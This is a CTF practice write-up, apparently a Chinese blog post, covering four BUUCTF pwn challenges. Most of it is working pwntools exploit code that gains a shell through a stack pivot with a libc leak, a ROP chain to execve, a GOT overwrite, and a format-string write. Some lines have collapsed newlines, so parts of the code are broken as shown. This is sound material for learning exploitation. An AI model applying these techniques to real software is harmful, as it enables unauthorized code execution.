PWN-PRACTICE-BUUCTF-20
- actf_2019_babystack
- picoctf_2018_can_you_gets_me
- picoctf_2018_got_shell
- mrctf2020_easy_equation
actf_2019_babystack
两次栈迁移
# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ACTF_2019_babystack")
io=remote("node4.buuoj.cn",25080)
elf=ELF("./ACTF_2019_babystack")
libc=ELF("./libc-2.27-18-x64.so")
leave_ret=0x0000000000400A18
pop_rdi_ret=0x0000000000400ad3
ret=0x0000000000400709
atol_got=elf.got["atol"]
puts_plt=elf.plt["puts"]
main=0x00000000004008F6io.sendlineafter(">","224")io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)#栈上,输入的起始地址
print("stack_addr=="+hex(stack_addr))#payload中最开始的"a"*8是抵消pop rbp
payload="a"*8+p64(pop_rdi_ret)+p64(atol_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)#覆盖正常流程的rbp为输入的起始地址,返回到leave_ret的gadget
io.sendafter(">",payload)
atol_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("atol_addr=="+hex(atol_addr))
libc_base=atol_addr-libc.sym["atol"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()#重复一次上面的操作,这次执行system("/bin/sh"),输入的起始地址改变,需重新获取
io.sendlineafter(">","224")
io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)
print("stack_addr=="+hex(stack_addr))
payload="a"*8+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)
io.sendafter(">",payload)io.interactive()
picoctf_2018_can_you_gets_me
32位elf,静态编译
可用ROPgadget直接形成ROP链
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain
然后就是栈溢出,ROP
from pwn import *
from struct import pack
#io=process('./PicoCTF_2018_can-you-gets-me')
io=remote('node4.buuoj.cn',25065)
def ROPchain():p = 'a'*(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += '//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return p
payload=ROPchain()
io.recvuntil('GIVE ME YOUR NAME!\n')
io.sendline(payload)
io.interactive()
picoctf_2018_got_shell
32位elf,可以执行一次任意写
在执行完任意写后还有一条puts语句,于是可以通过puts_got修改puts的实际地址为win的地址
from pwn import *
#io=process('./PicoCTF_2018_got-shell')
io=remote('node4.buuoj.cn',29148)
elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
win_addr=elf.sym['win']
io.recvuntil("this 4 byte value?\n")
io.sendline(hex(puts_got))
io.recvuntil("\n")
io.sendline(hex(win_addr))
io.interactive()
mrctf2020_easy_equation
格式化字符串漏洞,将变量judge的值覆写为2,即可满足等式
from pwn import *
#io=process('./mrctf2020_easy_equation')
io=remote('node4.buuoj.cn',27776)
judge=0x60105C
payload='aa%9$naaa'+p64(judge)
io.sendline(payload)
io.interactive()